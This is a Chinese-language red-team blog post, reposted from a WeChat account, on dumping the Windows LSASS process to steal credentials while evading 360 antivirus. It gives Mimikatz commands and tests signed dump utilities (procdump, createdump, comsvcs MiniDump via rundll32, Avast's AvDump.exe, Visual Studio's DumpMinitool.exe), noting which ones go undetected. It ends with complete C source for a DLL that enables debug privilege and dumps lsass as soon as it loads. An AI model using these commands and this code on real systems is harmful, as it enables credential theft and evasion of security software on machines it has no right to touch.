绕过360实现lsass转储

admin 2022年4月23日11:57:07评论120 views字数 3178阅读10分35秒阅读模式

前言

获取Windows用户的凭证信息是渗透过程中至关重要的一步。

没杀软,只要有权限想怎么读就怎么读。

有杀软,得用一些特别的技巧。

注:本机所有测试均为物理机,且为最新版AV

Mimikatz直接读取Lsass进程

权限提升

privilege::debug

抓取密码

sekurlsa::logonpasswords
绕过360实现lsass转储

但如果此时目标机器上有AV,必定将收到拦截

绕过360实现lsass转储

此时mimikatz必须免杀。

一般来说,目标机器有杀软的存在,更倾向于离线解析密码。

白名单文件dump

首先说三个微软签名的白名单程序

  1. Procdump.exe
  2. SQLDumper.exe
  3. createdump.exe

Procdump.exe(no)

尽管procdump拥有微软签名,但大部分AV厂商对此并不买账。

绕过360实现lsass转储
procdump.exe  -ma lsass.exe 1.txt
绕过360实现lsass转储

SQLDumper.exe也是一样的

createdump.exe(no)

createdump.exe随着.NET5出现的,本身是个native binary

虽然有签名同样遭到AV查杀

绕过360实现lsass转储
createdump.exe -u -f lsass.dmp lsass[PID]
绕过360实现lsass转储

Rundll32.exe(no)

使用rundll32直接执行comsvcs.dll的导出函数MiniDump来Dump进程内存

rundll32.exe C:windowsSystem32comsvcs.dll, MiniDump (Get-Process lsass).id Desktoplsass-comsvcs.dmp full

同样被查杀

绕过360实现lsass转储

avdump.exe(yes)

AvDump.exeAvast杀毒软件中自带的一个程序,可用于转储指定进程(lsass.exe)内存数据,它带有Avast杀软数字签名。

绕过360实现lsass转储

默认路径为:

C:Program FilesAvast SoftwareAvast
绕过360实现lsass转储
AvDump.exe --pid 980 --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file lsass.dmp

成功dump并解密,全程数字杀软无感。

绕过360实现lsass转储

DumpMinitool.exe(yes)

此exe为近日mr.d0x的某推上分享了的一个LOLBIN,通过vs2022里的DumpMinitool.exe来导出lsass进程。

绕过360实现lsass转储

路径为:

C:Program FilesMicrosoft Visual Studio2022CommunityCommon7IDEExtensionsTestPlatformExtensions
绕过360实现lsass转储

数字杀软全程无感

DumpMinitool.exe --file 1.txt --processId 980 --dumpType Full
绕过360实现lsass转储

其他方式

SilentProcessExit进行Dump(no)

具体原理参考文章:利用SilentProcessExit机制dump内存

Silent Process Exit,即静默退出。而这种调试技术,可以派生 werfault.exe进程,可以用来运行任意程序或者也可以用来转存任意进程的内存文件或弹出窗口。

但该方式需要修改注册表,修改注册表操作将会被查杀。

绕过360实现lsass转储

编写Dump Lsass的DLL(yes)

  1. 获取Debug权限
  2. 找到lsass的PID
  3. 使用MiniDump或MiniDumpWriteDump进行内存dump
#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>

typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);

int GetLsassPid() {

 PROCESSENTRY32 entry;
 entry.dwSize = sizeof(PROCESSENTRY32);

 HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

 if (Process32First(hSnapshot, &entry)) {
  while (Process32Next(hSnapshot, &entry)) {
   if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) {
    return entry.th32ProcessID;
   }
  }
 }

 CloseHandle(hSnapshot);
 return 0;
}

void GetDebugPrivilege()
{
 BOOL fOk = FALSE;
 HANDLE hToken;
 if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
 {
  TOKEN_PRIVILEGES tp;
  tp.PrivilegeCount = 1;
  LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
  tp.Privileges[0].Attributes = true ? SE_PRIVILEGE_ENABLED : 0;
  AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULLNULL);
  fOk = (GetLastError() == ERROR_SUCCESS);
  CloseHandle(hToken);
 }
}

void DumpLsass()
{
 wchar_t  ws[100];
 _MiniDumpW MiniDumpW;
 
 MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
 swprintf(ws, 100L"%u %hs", GetLsassPid(), "c:\windows\temp\temp.bin full");

 GetDebugPrivilege();

 MiniDumpW(00, ws);
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )

{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
  DumpLsass();
  break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

成功dump,数字杀软无感。

绕过360实现lsass转储

加下方wx,拉你入群一起学习:

绕过360实现lsass转储

往期推荐

一次简单的内网渗透靶场实战

惊!微软竟爆出如此漏洞

java agent使用与agent内存马

Spring Beans RCE分析(附带环境源码)

ring0下使用内核重载绕过杀软hook

初探Listener内存马

记一次内网渗透靶场学习

Conntroller内存马详解

从jndi到log4j2

shiro从0到1


绕过360实现lsass转储


原文始发于微信公众号(红队蓝军):绕过360实现lsass转储

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月23日11:57:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   绕过360实现lsass转储http://cn-sec.com/archives/909957.html

发表评论

匿名网友 填写信息